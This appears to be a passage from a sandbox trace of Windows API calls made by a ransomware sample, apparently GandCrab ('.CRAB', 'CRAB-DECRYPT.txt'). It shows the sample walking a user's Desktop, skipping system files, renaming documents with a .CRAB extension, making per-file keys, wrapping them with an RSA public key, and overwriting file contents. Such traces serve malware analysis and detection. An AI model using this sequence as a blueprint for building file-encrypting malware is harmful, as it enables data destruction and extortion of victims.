	[0125.188] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x3540, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x3540, lpOverlapped=0x0) returned 1
	[0125.188] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.188] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.210] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.210] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.210] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.210] CloseHandle (hObject=0x3e8) returned 1
	[0125.210] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.211] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.211] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.211] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.211] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.218] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.219] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.219] lstrcmpW (lpString1="rQp9g527R.swf", lpString2=".") returned 1
	[0125.219] lstrcmpW (lpString1="rQp9g527R.swf", lpString2="..") returned 1
	[0125.219] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="rQp9g527R.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf"
	[0125.219] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.220] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf") returned 43
	[0125.220] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf") returned 43
	[0125.220] lstrlenW (lpString=".swf") returned 4
	[0125.220] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.220] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0125.221] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.221] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf") returned 43
	[0125.221] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf") returned 43
	[0125.221] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="desktop.ini") returned 1
	[0125.221] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="autorun.inf") returned 1
	[0125.221] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="ntuser.dat") returned 1
	[0125.221] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="iconcache.db") returned 1
	[0125.222] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="bootsect.bak") returned 1
	[0125.222] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="boot.ini") returned 1
	[0125.222] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="ntuser.dat.log") returned 1
	[0125.222] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="thumbs.db") returned -1
	[0125.222] lstrcmpiW (lpString1="rQp9g527R.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.222] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.222] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB") returned 48
	[0125.222] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rqp9g527r.swf")) returned 0x20
	[0125.222] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf", dwFileAttributes=0x20) returned 1
	[0125.223] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rqp9g527r.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rqp9g527r.swf.crab")) returned 1
	[0125.224] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.224] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB"
	[0125.224] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB.CRAB"
	[0125.225] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.225] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.225] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.226] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.226] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.226] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.226] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.226] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0125.227] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.227] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.227] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.228] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.228] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.228] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.228] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.228] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.229] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0125.229] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158780) returned 1
	[0125.229] CryptGetKeyParam (in: hKey=0x3158780, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.229] CryptEncrypt (in: hKey=0x3158780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.230] GetLastError () returned 0x0
	[0125.230] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0125.230] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0125.231] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158100) returned 1
	[0125.231] CryptGetKeyParam (in: hKey=0x3158100, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.231] CryptEncrypt (in: hKey=0x3158100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.232] GetLastError () returned 0x0
	[0125.232] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0125.232] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rQp9g527R.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rqp9g527r.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.232] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.232] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.233] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x783, lpOverlapped=0x0) returned 1
	[0125.251] VirtualAlloc (lpAddress=0x0, dwSize=0x790, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.251] VirtualAlloc (lpAddress=0x0, dwSize=0x790, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.251] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.252] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffff87d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.252] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x790, lpOverlapped=0x0) returned 1
	[0125.252] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.252] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.256] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.256] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.256] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.257] CloseHandle (hObject=0x3e8) returned 1
	[0125.257] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.257] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.257] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.257] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.258] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.258] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.258] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.258] lstrcmpW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2=".") returned 1
	[0125.258] lstrcmpW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="..") returned 1
	[0125.258] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="SiPH2MlMciWhHcAm88E.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf"
	[0125.258] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.259] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf") returned 53
	[0125.259] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf") returned 53
	[0125.259] lstrlenW (lpString=".pdf") returned 4
	[0125.259] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.259] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pdf ") returned 5
	[0125.259] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.259] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf") returned 53
	[0125.259] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf") returned 53
	[0125.259] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="desktop.ini") returned 1
	[0125.259] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="autorun.inf") returned 1
	[0125.259] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="ntuser.dat") returned 1
	[0125.260] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="iconcache.db") returned 1
	[0125.260] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="bootsect.bak") returned 1
	[0125.260] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="boot.ini") returned 1
	[0125.260] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="ntuser.dat.log") returned 1
	[0125.260] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="thumbs.db") returned -1
	[0125.260] lstrcmpiW (lpString1="SiPH2MlMciWhHcAm88E.pdf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.260] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.260] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB") returned 58
	[0125.260] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\siph2mlmciwhhcam88e.pdf")) returned 0x20
	[0125.260] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf", dwFileAttributes=0x20) returned 1
	[0125.261] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\siph2mlmciwhhcam88e.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\siph2mlmciwhhcam88e.pdf.crab")) returned 1
	[0125.262] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.262] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB"
	[0125.262] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB.CRAB"
	[0125.262] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0125.263] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.263] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.263] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.263] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.264] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0125.264] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.264] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0125.264] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.265] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.265] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.265] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.265] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0125.265] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.265] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.278] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.279] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0125.279] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158340) returned 1
	[0125.279] CryptGetKeyParam (in: hKey=0x3158340, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.279] CryptEncrypt (in: hKey=0x3158340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.280] GetLastError () returned 0x0
	[0125.280] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0125.280] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.280] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158440) returned 1
	[0125.280] CryptGetKeyParam (in: hKey=0x3158440, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.280] CryptEncrypt (in: hKey=0x3158440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.281] GetLastError () returned 0x0
	[0125.281] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.281] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SiPH2MlMciWhHcAm88E.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\siph2mlmciwhhcam88e.pdf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.281] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.282] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.282] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x11f44, lpOverlapped=0x0) returned 1
	[0125.296] VirtualAlloc (lpAddress=0x0, dwSize=0x11f50, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.298] VirtualAlloc (lpAddress=0x0, dwSize=0x11f50, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0125.300] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.300] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffee0bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.301] WriteFile (in: hFile=0x3e8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x11f50, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314d45c*=0x11f50, lpOverlapped=0x0) returned 1
	[0125.301] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.301] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.308] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.309] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.309] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.309] CloseHandle (hObject=0x3e8) returned 1
	[0125.310] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.310] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.310] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.310] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.311] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.311] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.311] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.311] lstrcmpW (lpString1="Sxnzn9rS_0a.gif", lpString2=".") returned 1
	[0125.311] lstrcmpW (lpString1="Sxnzn9rS_0a.gif", lpString2="..") returned 1
	[0125.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="Sxnzn9rS_0a.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif"
	[0125.311] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.311] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif") returned 45
	[0125.312] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif") returned 45
	[0125.312] lstrlenW (lpString=".gif") returned 4
	[0125.312] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.312] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0125.312] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.312] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif") returned 45
	[0125.312] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Sxnzn9rS_0a.gif") returned 45
	[0125.312] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="desktop.ini") returned 1
	[0125.312] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="autorun.inf") returned 1
	[0125.313] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="ntuser.dat") returned 1
	[0125.313] lstrcmpiW (lpString1="Sxnzn9rS_0a.gif", lpString2="iconcache.db") returned 1
